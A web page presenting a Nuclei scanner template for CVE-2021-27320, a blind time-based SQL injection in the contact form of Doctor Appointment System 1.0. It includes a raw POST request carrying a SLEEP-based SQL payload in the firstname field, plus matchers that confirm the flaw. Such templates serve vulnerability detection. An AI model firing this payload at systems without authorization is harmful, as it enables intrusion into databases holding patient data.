Doctor Appointment System 1.0 - SQL Injection

ID: CVE-2021-27320

Severity: high

Author: theamanrawat

Tags: time-based-sqli,cve2021,cve,sqli,doctor-appointment-system,packetstorm,doctor_appointment_system_project

Description

Blind SQL injection in contactus.php in Doctor Appointment System 1.0 allows an unauthenticated attacker to insert malicious SQL queries via firstname parameter.

YAML Source

id: CVE-2021-27320

info:
  name: Doctor Appointment System 1.0 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    Blind SQL injection in contactus.php in Doctor Appointment System 1.0 allows an unauthenticated attacker to insert malicious SQL queries via firstname parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
    - http://packetstormsecurity.com/files/161642/Doctor-Appointment-System-1.0-Blind-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27320
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-27320
    cwe-id: CWE-89
    epss-score: 0.10551
    epss-percentile: 0.95011
    cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: doctor_appointment_system_project
    product: doctor_appointment_system
  tags: time-based-sqli,cve2021,cve,sqli,doctor-appointment-system,packetstorm,doctor_appointment_system_project

http:
  - raw:
      - |
        @timeout: 10s
        POST /contactus.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        firstname=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&lastname={{randstr}}&email={{randstr}}%40test.com&comment={{randstr}}&submit=Send+Us

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 500'
          - 'contains(body, "Medical Management System")'
        condition: and
# digest: 4b0a00483046022100f1c2c3c7a06f4111deff1c3dbacd4396eb124d68728f386190ea587ac8da9a2a022100d90c0ba77cbe5ee0ea69ccacf9716abc91a86e3877a3e8fbfd257fa81add857d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27320.yaml"

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